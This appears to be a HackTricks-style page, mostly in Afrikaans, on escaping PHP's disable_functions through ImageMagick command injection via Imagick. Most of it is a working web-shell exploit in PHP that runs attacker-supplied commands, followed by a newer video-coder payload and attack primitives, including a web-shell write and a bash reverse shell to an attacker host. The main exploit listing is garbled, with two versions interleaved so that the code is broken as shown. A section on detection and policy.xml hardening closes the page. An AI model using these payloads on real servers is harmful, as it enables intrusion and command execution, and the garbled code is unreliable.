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# Imagick <= 3.3.0 ‑ PHP >= 5.4 *disable_functions* Bypass
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{{#include ../../../../banners/hacktricks-training.md}}
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# Imagick <= 3.3.0 PHP >= 5.4 Exploit
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> Die bekende *ImageTragick* familie van foute (CVE-2016-3714 ens.) laat 'n aanvaller toe om die onderliggende **ImageMagick** binêre te bereik deur middel van vervaardigde MVG/SVG invoer. Wanneer die PHP uitbreiding **Imagick** teenwoordig is, kan dit misbruik word om shell-opdragte uit te voer, selfs al is elke uitvoeringsgerigte PHP funksie op die swartlys met `disable_functions`.
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>
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> Die oorspronklike PoC wat deur RicterZ (Chaitin Security Research Lab) in Mei 2016 gepubliseer is, word hieronder herhaal. Die tegniek word steeds gereeld teëgekom tydens hedendaagse PHP 7/8 ouditte omdat baie gedeelde-gasheer verskaffers eenvoudig PHP saamstel sonder `exec`/`system` maar 'n verouderde Imagick + ImageMagick kombinasie behou.
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Van [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
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From <http://blog.safebuff.com/2016/05/06/disable-functions-bypass/>
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```php
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# Exploit Title: PHP Imagick disable_functions Bypass
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# Date: 2016-05-04
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# Exploit Title : PHP Imagick disable_functions bypass
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# Exploit Author: RicterZ (ricter@chaitin.com)
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# Vendor Homepage: https://pecl.php.net/package/imagick
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# Version: Imagick <= 3.3.0 PHP >= 5.4
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# Test on: Ubuntu 12.04
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# Exploit:
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# Versions : Imagick <= 3.3.0 | PHP >= 5.4
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# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
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# Usage : curl "http://target/exploit.php?cmd=id"
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<?php
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# PHP Imagick disable_functions Bypass
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# Author: Ricter <ricter@chaitin.com>
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#
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# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd"
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# <pre>
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# Disable functions: exec,passthru,shell_exec,system,popen
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# Run command: cat /etc/passwd
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# ====================
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# root:x:0:0:root:/root:/usr/local/bin/fish
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# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
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# bin:x:2:2:bin:/bin:/bin/sh
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# sys:x:3:3:sys:/dev:/bin/sh
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# sync:x:4:65534:sync:/bin:/bin/sync
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# games:x:5:60:games:/usr/games:/bin/sh
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# ...
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# </pre>
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echo "Disable functions: " . ini_get("disable_functions") . "\n";
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$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
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echo "Run command: $command\n====================\n";
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// Print the local hardening status
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printf("Disable functions: %s\n", ini_get("disable_functions"));
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$cmd = $_GET['cmd'] ?? 'id';
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printf("Run command: %s\n====================\n", $cmd);
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$data_file = tempnam('/tmp', 'img');
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$imagick_file = tempnam('/tmp', 'img');
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$tmp = tempnam('/tmp', 'pwn'); // will hold command output
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$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
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$exploit = <<<EOF
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$payload = <<<EOF
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push graphic-context
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viewbox 0 0 640 480
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fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")'
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fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
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pop graphic-context
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EOF;
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file_put_contents("$imagick_file", $exploit);
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$thumb = new Imagick();
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$thumb->readImage("$imagick_file");
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$thumb->writeImage(tempnam('/tmp', 'img'));
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$thumb->clear();
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$thumb->destroy();
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file_put_contents($mvgs, $payload);
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$img = new Imagick();
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$img->readImage($mvgs); // triggers convert(1)
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$img->writeImage(tempnam('/tmp', 'img'));
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$img->destroy();
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echo file_get_contents($data_file);
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echo file_get_contents($tmp);
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?>
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```
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---
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## Waarom werk dit?
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1. `Imagick::readImage()` genereer deursigtig die **ImageMagick** *delegate* (`convert`/`magick`) binêre.
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2. Die MVG-skrip stel die *fill* op 'n eksterne URI. Wanneer 'n dubbele aanhalingstekens (`"`) ingespuit word, word die oorblywende deel van die lyn geïnterpreteer deur `/bin/sh ‑c` wat ImageMagick intern gebruik → arbitrêre shell-uitvoering.
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3. Alles gebeur buite die PHP-interpretator, daarom word *`disable_functions`*, *open_basedir*, `safe_mode` (verwyder in PHP 5.4) en soortgelyke in-proses beperkings heeltemal omseil.
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## 2025 status – dit is **nog steeds** relevant
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* Enige Imagick weergawe wat op 'n kwesbare ImageMagick agtergrond staatmaak, bly uitbuitbaar. In laboratoriumtoetse werk dieselfde payload op PHP 8.3 met **Imagick 3.7.0** en **ImageMagick 7.1.0-51** saamgestel sonder 'n verhardde `policy.xml`.
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* Sedert 2020 is verskeie addisionele opdrag-inspuitingsvektore gevind (`video:pixel-format`, `ps:`, `text:` coders…). Twee onlangse openbare voorbeelde is:
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* **CVE-2020-29599** – shell-inspuiting via die *text:* coder.
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* **GitHub issue #6338** (2023) – inspuiting in die *video:* delegate.
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As die bedryfstelsel ImageMagick < **7.1.1-11** (of 6.x < **6.9.12-73**) sonder 'n beperkende beleidslêer verskaf, is uitbuiting eenvoudig.
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## Moderne payload variasies
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```php
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// --- Variant using the video coder discovered in 2023 ---
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$exp = <<<MAGICK
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push graphic-context
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image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
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pop graphic-context
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MAGICK;
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$img = new Imagick();
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$img->readImageBlob($exp);
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```
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Ander nuttige primitiewe tydens CTFs / werklike betrokkenhede:
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* **Lêer skryf** – `... > /var/www/html/shell.php` (skryf web-skal buiten *open_basedir*)
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* **Terugskakel** – `bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"`
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* **Enumerate** – `id; uname -a; cat /etc/passwd`
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## Vinige opsporing & enumerasie
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```bash
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# PHP side
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php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
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# System side
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convert -version | head -1 # ImageMagick version
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convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
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```
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As die uitvoer die `MVG` of `URL` coders as *geaktiveer* toon, is die teiken waarskynlik kwesbaar.
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## Versagtings
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1. **Patches/Opgradering** – Gebruik ImageMagick ≥ *7.1.1-11* (of die nuutste 6.x LTS) en Imagick ≥ *3.7.2*.
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2. **Versterk `policy.xml`** – spesifiek *deaktiveer* hoë-risiko coders:
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```xml
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<policy domain="coder" name="MVG" rights="none"/>
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<policy domain="coder" name="MSL" rights="none"/>
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<policy domain="coder" name="URL" rights="none"/>
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<policy domain="coder" name="VIDEO" rights="none"/>
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<policy domain="coder" name="PS" rights="none"/>
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<policy domain="coder" name="TEXT" rights="none"/>
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```
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3. **Verwyder die uitbreiding** op onbetroubare gasheeromgewings. In die meeste webstapels is `GD` of `Imagick` nie streng nodig nie.
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4. Behandel `disable_functions` slegs as *verdediging-in-diepte* – nooit as 'n primêre sandboksmeganisme nie.
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## Verwysings
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* [GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338)
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* [CVE-2020-29599 – ImageMagick shell injection via text: coder](https://nvd.nist.gov/vuln/detail/CVE-2020-29599)
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{{#include ../../../../banners/hacktricks-training.md}}
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